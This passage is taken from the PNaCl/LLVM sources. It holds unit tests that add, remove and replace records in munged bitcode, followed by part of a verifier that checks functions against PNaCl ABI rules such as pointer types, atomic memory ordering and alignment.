const uint64_t Records[] = {
1, 2, 3, Terminator,
4, 5, Terminator,
6, 7, 8 , 9, Terminator,
10, 11, Terminator
};
NaClMungedBitcode MungedRecords(ARRAY_TERM(Records));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add a record after the second record.
const uint64_t AfterSecond[] = {
1, NaClMungedBitcode::AddAfter, 12, 13, 14, Terminator
};
MungedRecords.munge(ARRAY_TERM(AfterSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 12: [13, 14]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add two more records after the second record.
const uint64_t AfterSecondMore[] = {
1, NaClMungedBitcode::AddAfter, 15, 16, 17, Terminator,
1, NaClMungedBitcode::AddAfter, 18, 19, Terminator
};
MungedRecords.munge(ARRAY_TERM(AfterSecondMore));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 12: [13, 14]\n"
" 15: [16, 17]\n"
" 18: [19]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add two records after the last record.
const uint64_t AfterLast[] = {
3, NaClMungedBitcode::AddAfter, 21, 22, 23, Terminator,
3, NaClMungedBitcode::AddAfter, 24, 25, 26, 27, Terminator
};
MungedRecords.munge(ARRAY_TERM(AfterLast));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 12: [13, 14]\n"
" 15: [16, 17]\n"
" 18: [19]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n"
" 21: [22, 23]\n"
" 24: [25, 26, 27]\n",
stringify(MungedRecords));
}
TEST(NaClMungedBitcodeTest, TestRemove) {
const uint64_t Records[] = {
1, 2, 3, Terminator,
4, 5, Terminator,
6, 7, 8 , 9, Terminator,
10, 11, Terminator
};
NaClMungedBitcode MungedRecords(ARRAY_TERM(Records));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Remove the second record.
const uint64_t RemoveSecond[] = {
1, NaClMungedBitcode::Remove
};
MungedRecords.munge(ARRAY_TERM(RemoveSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Remove first and last records.
const uint64_t RemoveEnds[] = {
0, NaClMungedBitcode::Remove,
3, NaClMungedBitcode::Remove
};
MungedRecords.munge(ARRAY_TERM(RemoveEnds));
EXPECT_EQ(
" 6: [7, 8, 9]\n",
stringify(MungedRecords));
// Remove remaining record.
const uint64_t RemoveOther[] = {
2, NaClMungedBitcode::Remove
};
MungedRecords.munge(ARRAY_TERM(RemoveOther));
EXPECT_EQ(
"",
stringify(MungedRecords));
}
TEST(NaClMungedBitcodeTest, TestReplace) {
const uint64_t Records[] = {
1, 2, 3, Terminator,
4, 5, Terminator,
6, 7, 8 , 9, Terminator,
10, 11, Terminator
};
NaClMungedBitcode MungedRecords(ARRAY_TERM(Records));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Replace the second record.
const uint64_t ReplaceSecond[] = {
1, NaClMungedBitcode::Replace, 12, 13, 14, Terminator
};
MungedRecords.munge(ARRAY_TERM(ReplaceSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 12: [13, 14]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Replace the first and last record.
const uint64_t ReplaceEnds[] = {
0, NaClMungedBitcode::Replace, 15, 16, 17, 18, Terminator,
3, NaClMungedBitcode::Replace, 19, 20, Terminator
};
MungedRecords.munge(ARRAY_TERM(ReplaceEnds));
EXPECT_EQ(
" 15: [16, 17, 18]\n"
" 12: [13, 14]\n"
" 6: [7, 8, 9]\n"
" 19: [20]\n",
stringify(MungedRecords));
// Replace the first three records, which includes two already replaced
// records.
const uint64_t ReplaceFirst3[] = {
0, NaClMungedBitcode::Replace, 21, 22, 23, Terminator,
1, NaClMungedBitcode::Replace, 24, 25, Terminator,
2, NaClMungedBitcode::Replace, 26, 27, 28, 29, Terminator
};
MungedRecords.munge(ARRAY_TERM(ReplaceFirst3));
EXPECT_EQ(
" 21: [22, 23]\n"
" 24: [25]\n"
" 26: [27, 28, 29]\n"
" 19: [20]\n",
stringify(MungedRecords));
// Show that we can remove replaced records.
const uint64_t RemoveReplaced[] = {
1, NaClMungedBitcode::Remove,
3, NaClMungedBitcode::Remove
};
MungedRecords.munge(ARRAY_TERM(RemoveReplaced));
EXPECT_EQ(
" 21: [22, 23]\n"
" 26: [27, 28, 29]\n",
stringify(MungedRecords));
}
TEST(NaClMungedBitcodeTest, TestBlockStructure) {
const uint64_t Records[] = {
1, 2, 3, 4, Terminator,
5, naclbitc::BLK_CODE_ENTER, 6, Terminator,
7, 8, Terminator,
9, naclbitc::BLK_CODE_ENTER, 10, Terminator,
11, 12, 13, Terminator,
14, naclbitc::BLK_CODE_EXIT, Terminator,
15, naclbitc::BLK_CODE_ENTER, 16, Terminator,
17, naclbitc::BLK_CODE_EXIT, 18, Terminator,
19, 20, 21, Terminator,
22, naclbitc::BLK_CODE_EXIT, Terminator
};
NaClMungedBitcode MungedRecords(ARRAY_TERM(Records));
EXPECT_EQ(
" 1: [2, 3, 4]\n"
" 5: [65535, 6]\n"
" 7: [8]\n"
" 9: [65535, 10]\n"
" 11: [12, 13]\n"
" 14: [65534]\n"
" 15: [65535, 16]\n"
" 17: [65534, 18]\n"
" 19: [20, 21]\n"
" 22: [65534]\n",
stringify(MungedRecords));
// Show what happens if you have unbalanced blocks.
const uint64_t ExitEdits[] = {
4, NaClMungedBitcode::AddAfter, 0, naclbitc::BLK_CODE_EXIT, Terminator,
4, NaClMungedBitcode::AddAfter, 0, naclbitc::BLK_CODE_EXIT, Terminator,
2, NaClMungedBitcode::Replace, 0, naclbitc::BLK_CODE_EXIT, Terminator
};
MungedRecords.munge(ARRAY_TERM(ExitEdits));
EXPECT_EQ(
" 1: [2, 3, 4]\n"
" 5: [65535, 6]\n"
" 0: [65534]\n"
" 9: [65535, 10]\n"
" 11: [12, 13]\n"
" 0: [65534]\n"
" 0: [65534]\n"
" 14: [65534]\n"
" 15: [65535, 16]\n"
" 17: [65534, 18]\n"
" 19: [20, 21]\n"
" 22: [65534]\n",
stringify(MungedRecords));
}
// Tests that replace/remove superceed other replace/removes at same
// record index.
TEST(NaClMungedBitcodeTest, TestReplaceRemoveEffects) {
const uint64_t Records[] = {
1, 2, 3, Terminator,
4, 5, Terminator,
6, 7, 8 , 9, Terminator,
10, 11, Terminator
};
NaClMungedBitcode MungedRecords(ARRAY_TERM(Records));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Remove the second record.
const uint64_t RemoveSecond[] = {
1, NaClMungedBitcode::Remove
};
MungedRecords.munge(ARRAY_TERM(RemoveSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Try it again. Should have no effect.
MungedRecords.munge(ARRAY_TERM(RemoveSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Override removed record with a replacement.
const uint64_t ReplaceSecond[] = {
1, NaClMungedBitcode::Replace, 12, 12, 14, 15, Terminator
};
MungedRecords.munge(ARRAY_TERM(ReplaceSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 12: [12, 14, 15]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Override replacement with a different replacement.
const uint64_t ReplaceSecondAgain[] = {
1, NaClMungedBitcode::Replace, 16, 17, 18, Terminator
};
MungedRecords.munge(ARRAY_TERM(ReplaceSecondAgain));
EXPECT_EQ(
" 1: [2, 3]\n"
" 16: [17, 18]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Override replacement with a remove.
MungedRecords.munge(ARRAY_TERM(RemoveSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
}
// Show how before/after interact between neighboring indices
TEST(NaClMungedBitcodeTest, TestBeforeAfterInteraction) {
const uint64_t Records[] = {
1, 2, 3, Terminator,
4, 5, Terminator,
6, 7, 8 , 9, Terminator,
10, 11, Terminator
};
NaClMungedBitcode MungedRecords(ARRAY_TERM(Records));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add record before the third record.
const uint64_t AddBeforeThird[] = {
2, NaClMungedBitcode::AddBefore, 12, 13, 14, Terminator
};
MungedRecords.munge(ARRAY_TERM(AddBeforeThird));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 12: [13, 14]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add record after the second record.
const uint64_t AddAfterSecond[] = {
1, NaClMungedBitcode::AddAfter, 15, 16, 17, 18, Terminator
};
MungedRecords.munge(ARRAY_TERM(AddAfterSecond));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 15: [16, 17, 18]\n"
" 12: [13, 14]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add more records before the third record.
const uint64_t AddBeforeThirdMore[] = {
2, NaClMungedBitcode::AddBefore, 19, 20, Terminator,
2, NaClMungedBitcode::AddBefore, 21, 22, Terminator
};
MungedRecords.munge(ARRAY_TERM(AddBeforeThirdMore));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 15: [16, 17, 18]\n"
" 12: [13, 14]\n"
" 19: [20]\n"
" 21: [22]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add more records after the second record.
const uint64_t AddAfterSecondMore[] = {
1, NaClMungedBitcode::AddAfter, 23, 24, 25, Terminator,
1, NaClMungedBitcode::AddAfter, 26, 27, 28, 29, Terminator
};
MungedRecords.munge(ARRAY_TERM(AddAfterSecondMore));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 15: [16, 17, 18]\n"
" 23: [24, 25]\n"
" 26: [27, 28, 29]\n"
" 12: [13, 14]\n"
" 19: [20]\n"
" 21: [22]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
}
// Do a sample combination of all possible edits.
TEST(NaClMungedBitcodeTest, CombinationEdits) {
const uint64_t Records[] = {
1, 2, 3, Terminator,
4, 5, Terminator,
6, 7, 8 , 9, Terminator,
10, 11, Terminator
};
NaClMungedBitcode MungedRecords(ARRAY_TERM(Records));
EXPECT_EQ(
" 1: [2, 3]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Remove First
const uint64_t RemoveFirst[] = {
0, NaClMungedBitcode::Remove
};
MungedRecords.munge(ARRAY_TERM(RemoveFirst));
EXPECT_EQ(
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add records after the first (base) record, which corresponds to
// before the first record in the munged result.
const uint64_t AddAfterFirst[] = {
0, NaClMungedBitcode::AddAfter, 12, 13, 14, Terminator,
0, NaClMungedBitcode::AddAfter, 15, 16, Terminator
};
MungedRecords.munge(ARRAY_TERM(AddAfterFirst));
EXPECT_EQ(
" 12: [13, 14]\n"
" 15: [16]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add records before the second (base) record, which corresponds to
// before the third record in the munged result.
const uint64_t AddBeforeSecond[] = {
1, NaClMungedBitcode::AddBefore, 17, 18, 19, 20, Terminator,
1, NaClMungedBitcode::AddBefore, 21, 22, 23, Terminator
};
MungedRecords.munge(ARRAY_TERM(AddBeforeSecond));
EXPECT_EQ(
" 12: [13, 14]\n"
" 15: [16]\n"
" 17: [18, 19, 20]\n"
" 21: [22, 23]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Put the first (base) record back, which will also be the first
// record in the munged result.
const uint64_t ReplaceFirst[] = {
0, NaClMungedBitcode::Replace, 1, 2, 3, Terminator
};
MungedRecords.munge(ARRAY_TERM(ReplaceFirst));
EXPECT_EQ(
" 1: [2, 3]\n"
" 12: [13, 14]\n"
" 15: [16]\n"
" 17: [18, 19, 20]\n"
" 21: [22, 23]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
// Add before the first (base) record, which will also be before all
// other records in the munged result.
const uint64_t AddBeforeFirst[] = {
0, NaClMungedBitcode::AddBefore, 24, 25, 26, 27, Terminator,
0, NaClMungedBitcode::AddBefore, 28, 29, Terminator,
0, NaClMungedBitcode::AddBefore, 30, 31, 32, Terminator
};
MungedRecords.munge(ARRAY_TERM(AddBeforeFirst));
EXPECT_EQ(
" 24: [25, 26, 27]\n"
" 28: [29]\n"
" 30: [31, 32]\n"
" 1: [2, 3]\n"
" 12: [13, 14]\n"
" 15: [16]\n"
" 17: [18, 19, 20]\n"
" 21: [22, 23]\n"
" 4: [5]\n"
" 6: [7, 8, 9]\n"
" 10: [11]\n",
stringify(MungedRecords));
}
} // end of namespace naclmungetest
<file_sep>/lib/Analysis/NaCl/PNaClABIVerifyFunctions.cpp
//===- PNaClABIVerifyFunctions.cpp - Verify PNaCl ABI rules ---------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Verify function-level PNaCl ABI requirements.
//
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/NaCl/PNaClABIVerifyFunctions.h"
#include "llvm/ADT/Twine.h"
#include "llvm/Analysis/NaCl.h"
#include "llvm/Analysis/NaCl/PNaClABITypeChecker.h"
#include "llvm/Analysis/NaCl/PNaClAllowedIntrinsics.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Metadata.h"
#include "llvm/IR/Operator.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
// There's no built-in way to get the name of an MDNode, so use a
// string ostream to print it.
static std::string getMDNodeString(unsigned Kind,
const SmallVectorImpl<StringRef> &MDNames) {
std::string MDName;
raw_string_ostream N(MDName);
if (Kind < MDNames.size()) {
N << "!" << MDNames[Kind];
} else {
N << "!<unknown kind #" << Kind << ">";
}
return N.str();
}
PNaClABIVerifyFunctions::~PNaClABIVerifyFunctions() {
if (ReporterIsOwned)
delete Reporter;
}
// A valid pointer type is either:
// * a pointer to a valid PNaCl scalar type (except i1), or
// * a pointer to a valid PNaCl vector type (except i1), or
// * a function pointer (with valid argument and return types).
//
// i1 is disallowed so that all loads and stores are a whole number of
// bytes, and so that we do not need to define whether a store of i1
// zero-extends.
static bool isValidPointerType(Type *Ty) {
if (PointerType *PtrTy = dyn_cast<PointerType>(Ty)) {
if (PtrTy->getAddressSpace() != 0)
return false;
Type *EltTy = PtrTy->getElementType();
if (PNaClABITypeChecker::isValidScalarType(EltTy) && !EltTy->isIntegerTy(1))
return true;
if (PNaClABITypeChecker::isValidVectorType(EltTy) &&
!cast<VectorType>(EltTy)->getElementType()->isIntegerTy(1))
return true;
if (FunctionType *FTy = dyn_cast<FunctionType>(EltTy))
return PNaClABITypeChecker::isValidFunctionType(FTy);
}
return false;
}
static bool isIntrinsicFunc(const Value *Val) {
if (const Function *F = dyn_cast<Function>(Val))
return F->isIntrinsic();
return false;
}
// InherentPtrs may be referenced by casts -- PtrToIntInst and
// BitCastInst -- that produce NormalizedPtrs.
//
// InherentPtrs exclude intrinsic functions in order to prevent taking
// the address of an intrinsic function. InherentPtrs include
// intrinsic calls because some intrinsics return pointer types
// (e.g. nacl.read.tp returns i8*).
static bool isInherentPtr(const Value *Val) {
return isa<AllocaInst>(Val) ||
(isa<GlobalValue>(Val) && !isIntrinsicFunc(Val)) ||
isa<IntrinsicInst>(Val);
}
// NormalizedPtrs may be used where pointer types are required -- for
// loads, stores, etc. Note that this excludes ConstantExprs,
// ConstantPointerNull and UndefValue.
static bool isNormalizedPtr(const Value *Val) {
if (!isValidPointerType(Val->getType()))
return false;
// The bitcast must also be a bitcast of an InherentPtr, but we
// check that when visiting the bitcast instruction.
return isa<IntToPtrInst>(Val) || isa<BitCastInst>(Val) || isInherentPtr(Val);
}
static bool isValidScalarOperand(const Value *Val) {
// The types of Instructions and Arguments are checked elsewhere
// (when visiting the Instruction or the Function). BasicBlocks are
// included here because branch instructions have BasicBlock
// operands.
if (isa<Instruction>(Val) || isa<Argument>(Val) || isa<BasicBlock>(Val))
return true;
// Allow some Constants. Note that this excludes ConstantExprs.
return PNaClABITypeChecker::isValidScalarType(Val->getType()) &&
(isa<ConstantInt>(Val) ||
isa<ConstantFP>(Val) ||
isa<UndefValue>(Val));
}
static bool isValidVectorOperand(const Value *Val) {
// The types of Instructions and Arguments are checked elsewhere.
if (isa<Instruction>(Val) || isa<Argument>(Val))
return true;
// Contrary to scalars, constant vector values aren't allowed on
// instructions, except undefined. Constant vectors are loaded from
// constant global memory instead, and can be rematerialized as
// constants by the backend if need be.
return PNaClABITypeChecker::isValidVectorType(Val->getType()) &&
isa<UndefValue>(Val);
}
static bool hasAllowedAtomicRMWOperation(
const NaCl::AtomicIntrinsics::AtomicIntrinsic *I, const CallInst *Call) {
for (size_t P = 0; P != I->NumParams; ++P) {
if (I->ParamType[P] != NaCl::AtomicIntrinsics::RMW)
continue;
const Value *Operation = Call->getOperand(P);
if (!Operation)
return false;
const Constant *C = dyn_cast<Constant>(Operation);
if (!C)
return false;
const APInt &I = C->getUniqueInteger();
if (I.ule(NaCl::AtomicInvalid) || I.uge(NaCl::AtomicNum))
return false;
}
return true;
}
static bool
hasAllowedAtomicMemoryOrder(const NaCl::AtomicIntrinsics::AtomicIntrinsic *I,
const CallInst *Call) {
NaCl::MemoryOrder PreviousOrder = NaCl::MemoryOrderInvalid;
for (size_t P = 0; P != I->NumParams; ++P) {
if (I->ParamType[P] != NaCl::AtomicIntrinsics::Mem)
continue;
NaCl::MemoryOrder Order = NaCl::MemoryOrderInvalid;
if (const Value *MemoryOrderOperand = Call->getOperand(P))
if (const Constant *C = dyn_cast<Constant>(MemoryOrderOperand)) {
const APInt &I = C->getUniqueInteger();
if (I.ugt(NaCl::MemoryOrderInvalid) && I.ult(NaCl::MemoryOrderNum))
Order = static_cast<NaCl::MemoryOrder>(I.getLimitedValue());
}
if (Order == NaCl::MemoryOrderInvalid)
return false;
// Validate PNaCl restrictions.
switch (Order) {
case NaCl::MemoryOrderInvalid:
case NaCl::MemoryOrderNum:
llvm_unreachable("Invalid memory order");
case NaCl::MemoryOrderRelaxed:
case NaCl::MemoryOrderConsume:
// TODO(jfb) PNaCl doesn't allow relaxed or consume memory ordering.
return false;
case NaCl::MemoryOrderAcquire:
case NaCl::MemoryOrderRelease:
case NaCl::MemoryOrderAcquireRelease:
case NaCl::MemoryOrderSequentiallyConsistent:
break; // Allowed by PNaCl.
}
// Validate conformance to the C++11 memory model.
switch (I->ID) {
default:
llvm_unreachable("unexpected atomic operation");
case Intrinsic::nacl_atomic_load:
// C++11 [atomics.types.operations.req]: The order argument shall not be
// release nor acq_rel.
if (Order == NaCl::MemoryOrderRelease ||
Order == NaCl::MemoryOrderAcquireRelease)
return false;
break;
case Intrinsic::nacl_atomic_store:
// C++11 [atomics.types.operations.req]: The order argument shall not be
// consume, acquire, nor acq_rel.
if (Order == NaCl::MemoryOrderConsume ||
Order == NaCl::MemoryOrderAcquire ||
Order == NaCl::MemoryOrderAcquireRelease)
return false;
break;
case Intrinsic::nacl_atomic_rmw:
break; // No restriction.
case Intrinsic::nacl_atomic_cmpxchg:
// C++11 [atomics.types.operations.req]: The failure argument shall not be
// release nor acq_rel. The failure argument shall be no stronger than the
// success argument.
// Where the partial ordering is:
// relaxed < consume < acquire < acq_rel < seq_cst
// relaxed < release < acq_rel < seq_cst
if (PreviousOrder != NaCl::MemoryOrderInvalid) { // Failure ordering.
NaCl::MemoryOrder Success = PreviousOrder, Failure = Order;
if (Failure == NaCl::MemoryOrderRelease ||
Failure == NaCl::MemoryOrderAcquireRelease)
return false;
if ((Success < Failure) || (Success == NaCl::MemoryOrderRelease &&
Failure != NaCl::MemoryOrderRelaxed))
return false;
}
break; // Success ordering has no restriction.
case Intrinsic::nacl_atomic_fence:
case Intrinsic::nacl_atomic_fence_all:
break; // No restrictions.
}
PreviousOrder = Order;
}
return true;
}
static bool hasAllowedLockFreeByteSize(const CallInst *Call) {
if (!Call->getType()->isIntegerTy())
return false;
const Value *Operation = Call->getOperand(0);
if (!Operation)
return false;
const Constant *C = dyn_cast<Constant>(Operation);
if (!C)
return false;
const APInt &I = C->getUniqueInteger();
// PNaCl currently only supports atomics of byte size {1,2,4,8} (which
// may or may not be lock-free). These values coincide with
// C11/C++11's supported atomic types.
if (I == 1 || I == 2 || I == 4 || I == 8)
return true;
return false;
}
// Check the instruction's opcode and its operands. The operands may
// require opcode-specific checking.
//
// This returns an error string if the instruction is rejected, or
// NULL if the instruction is allowed.
const char *PNaClABIVerifyFunctions::checkInstruction(const DataLayout *DL,
const Instruction *Inst) {
// If the instruction has a single pointer operand, PtrOperandIndex is
// set to its operand index.
unsigned PtrOperandIndex = -1;
// True if we should apply the default operand checks, at the end
// of this function.
bool ApplyDefaultOperandTypeChecks = true;
switch (Inst->getOpcode()) {
// Disallowed instructions. Default is to disallow.
// We expand GetElementPtr out into arithmetic.
case Instruction::GetElementPtr:
// VAArg is expanded out by ExpandVarArgs.
case Instruction::VAArg:
// Zero-cost C++ exception handling is not supported yet.
case Instruction::Invoke:
case Instruction::LandingPad:
case Instruction::Resume:
// indirectbr may interfere with streaming
case Instruction::IndirectBr:
// TODO(jfb) Figure out ShuffleVector.
case Instruction::ShuffleVector:
// ExtractValue and InsertValue operate on struct values.
case Instruction::ExtractValue:
case Instruction::InsertValue:
// Atomics should become NaCl intrinsics.
case Instruction::AtomicCmpXchg:
case Instruction::AtomicRMW:
case Instruction::Fence:
return "bad instruction opcode";
default:
return "unknown instruction opcode";
// Terminator instructions
case Instruction::Ret:
case Instruction::Br:
case Instruction::Unreachable:
// Binary operations
case Instruction::FAdd:
case Instruction::FSub:
case Instruction::FMul:
case Instruction::FDiv:
case Instruction::FRem:
// Bitwise binary operations
case Instruction::And:
case Instruction::Or:
case Instruction::Xor:
// Conversion operations
case Instruction::Trunc:
case Instruction::ZExt:
case Instruction::SExt:
case Instruction::FPTrunc:
case Instruction::FPExt:
case Instruction::FPToUI:
case Instruction::FPToSI:
case Instruction::UIToFP:
case Instruction::SIToFP:
// Other operations
case Instruction::FCmp:
case Instruction::PHI:
case Instruction::Select:
break;
// The following operations are of dubious usefulness on 1-bit
// values. Use of the i1 type is disallowed here so that code
// generators do not need to support these corner cases.
case Instruction::ICmp:
// Binary operations
case Instruction::Add:
case Instruction::Sub:
case Instruction::Mul:
case Instruction::UDiv:
case Instruction::SDiv:
case Instruction::URem:
case Instruction::SRem:
case Instruction::Shl:
case Instruction::LShr:
case Instruction::AShr: {
const Type *Ty = Inst->getOperand(0)->getType();
if (!PNaClABITypeChecker::isValidIntArithmeticType(
Inst->getOperand(0)->getType())) {
if (Ty->isIntegerTy() ||
(Ty->isVectorTy() && Ty->getVectorElementType()->isIntegerTy())) {
return "Invalid integer arithmetic type";
} else {
return "Expects integer arithmetic type";
}
}
ApplyDefaultOperandTypeChecks = false;
break;
}
// Vector.
case Instruction::ExtractElement:
case Instruction::InsertElement: {
// Insert and extract element are restricted to constant indices
// that are in range to prevent undefined behavior.
// TODO(kschimpf) Figure out way to put test into pnacl-bcdis?
Value *Vec = Inst->getOperand(0);
Value *Idx = Inst->getOperand(
Instruction::InsertElement == Inst->getOpcode() ? 2 : 1);
if (!isa<ConstantInt>(Idx))
return "non-constant vector insert/extract index";
if (!PNaClABIProps::isVectorIndexSafe(
cast<ConstantInt>(Idx)->getValue(),
cast<VectorType>(Vec->getType())->getNumElements())) {
return "out of range vector insert/extract index";
}
break;
}
// Memory accesses.
case Instruction::Load: {
const LoadInst *Load = cast<LoadInst>(Inst);
PtrOperandIndex = Load->getPointerOperandIndex();
if (Load->isAtomic())
return "atomic load";
if (Load->isVolatile())
return "volatile load";
if (!isNormalizedPtr(Inst->getOperand(PtrOperandIndex)))
return "bad pointer";
if (!PNaClABIProps::
isAllowedAlignment(DL, Load->getAlignment(), Load->getType()))
return "bad alignment";
break;
}
case Instruction::Store: {
const StoreInst *Store = cast<StoreInst>(Inst);
PtrOperandIndex = Store->getPointerOperandIndex();
if (Store->isAtomic())
return "atomic store";
if (Store->isVolatile())
return "volatile store";
if (!isNormalizedPtr(Inst->getOperand(PtrOperandIndex)))
return "bad pointer";
if (!PNaClABIProps::
isAllowedAlignment(DL, Store->getAlignment(),
Store->getValueOperand()->getType()))
return "bad alignment";
break;
}
// Casts.
case Instruction::BitCast:
if (Inst->getType()->isPointerTy()) {
PtrOperandIndex = 0;
if (!isInherentPtr(Inst->getOperand(PtrOperandIndex)))
return "operand not InherentPtr";
}
break;
case Instruction::IntToPtr:
if (!cast<IntToPtrInst>(Inst)->getSrcTy()->isIntegerTy(32))
return "non-i32 inttoptr";
break;
case Instruction::PtrToInt:
PtrOperandIndex = 0;
if (!isInherentPtr(Inst->getOperand(PtrOperandIndex)))
return "operand not InherentPtr";
if (!Inst->getType()->isIntegerTy(32))
return "non-i32 ptrtoint";
break;
case Instruction::Alloca: {
const AllocaInst *Alloca = cast<AllocaInst>(Inst);
if (!PNaClABIProps::isAllocaAllocatedType(Alloca->getAllocatedType()))
return "non-i8 alloca";
if (!PNaClABIProps::isAllocaSizeType(Alloca->getArraySize()->getType()))
return PNaClABIProps::ExpectedAllocaSizeType();
break;
}
case Instruction::Call: {
const CallInst *Call = cast<CallInst>(Inst);
if (Call->isInlineAsm())
return "inline assembly";
if (!Call->getAttributes().isEmpty())
return "bad call attributes";
if (!PNaClABIProps::isValidCallingConv(Call->getCallingConv()))
return "bad calling convention";
// Intrinsic calls can have multiple pointer arguments and
// metadata arguments, so handle them specially.
// TODO(kschimpf) How can we lift this to pnacl-bcdis.
if (const IntrinsicInst *Call = dyn_cast<IntrinsicInst>(Inst)) {
if (PNaClAllowedIntrinsics::isAllowedDebugInfoIntrinsic(
Call->getIntrinsicID())) {
// If debug metadata is allowed, always allow calling debug intrinsics
// and assume they are correct.
return nullptr;
}
for (unsigned ArgNum = 0, E = Call->getNumArgOperands();
ArgNum < E; ++ArgNum) {
const Value *Arg = Call->getArgOperand(ArgNum);
if (!(isValidScalarOperand(Arg) ||
isValidVectorOperand(Arg) ||
isNormalizedPtr(Arg)))
return "bad intrinsic operand";
}
// Disallow alignments other than 1 on memcpy() etc., for the
// same reason that we disallow them on integer loads and
// stores.
if (const MemIntrinsic *MemOp = dyn_cast<MemIntrinsic>(Call)) {
// Avoid the getAlignment() method here because it aborts if
// the alignment argument is not a Constant.
Value *AlignArg = MemOp->getArgOperand(3);
if (!isa<ConstantInt>(AlignArg) ||
cast<ConstantInt>(AlignArg)->getZExtValue() != 1) {
return "bad alignment";
}
}
switch (Call->getIntrinsicID()) {
default: break; // Other intrinsics don't require checks.
// Disallow NaCl atomic intrinsics which don't have valid
// constant NaCl::AtomicOperation and NaCl::MemoryOrder
// parameters.
case Intrinsic::nacl_atomic_load:
case Intrinsic::nacl_atomic_store:
case Intrinsic::nacl_atomic_rmw:
case Intrinsic::nacl_atomic_cmpxchg:
case Intrinsic::nacl_atomic_fence:
case Intrinsic::nacl_atomic_fence_all: {
// All overloads have memory order and RMW operation in the
// same parameter, arbitrarily use the I32 overload.
Type *T = Type::getInt32Ty(
Inst->getParent()->getParent()->getContext());
const NaCl::AtomicIntrinsics::AtomicIntrinsic *I =
AtomicIntrinsics->find(Call->getIntrinsicID(), T);
if (!I)
// All intrinsics have an I32 overload. Failure here means there
// is no such intrinsic.
return "invalid atomic intrinsic";
if (!hasAllowedAtomicMemoryOrder(I, Call))
return "invalid memory order";
if (!hasAllowedAtomicRMWOperation(I, Call))
return "invalid atomicRMW operation";
} break;
// Disallow NaCl atomic_is_lock_free intrinsics which don't
// have valid constant size type.
case Intrinsic::nacl_atomic_is_lock_free:
if (!hasAllowedLockFreeByteSize(Call))
return "invalid atomic lock-free byte size";
break;
}
// Allow the instruction and skip the later checks.
return NULL;
}
// The callee is the last operand.
PtrOperandIndex = Inst->getNumOperands() - 1;
if (!isNormalizedPtr(Inst->getOperand(PtrOperandIndex)))
return "bad function callee operand";
break;
}
case Instruction::Switch: {
// SwitchInst represents switch cases using array and vector
// constants, which we normally reject, so we must check
// SwitchInst specially here.
const SwitchInst *Switch = cast<SwitchInst>(Inst);
if (!isValidScalarOperand(Switch->getCondition()))
return "bad switch condition";
const Type *SwitchType = Switch->getCondition()->getType();
if (!PNaClABITypeChecker::isValidSwitchConditionType(SwitchType))
return PNaClABITypeChecker::ExpectedSwitchConditionType(SwitchType);
// SwitchInst requires the cases to be ConstantInts, but it
// doesn't require their types to be the same as the condition
// value, so check all the cases too.
for (SwitchInst::ConstCaseIt Case = Switch->case_begin(),
E = Switch->case_end(); Case != E; ++Case) {
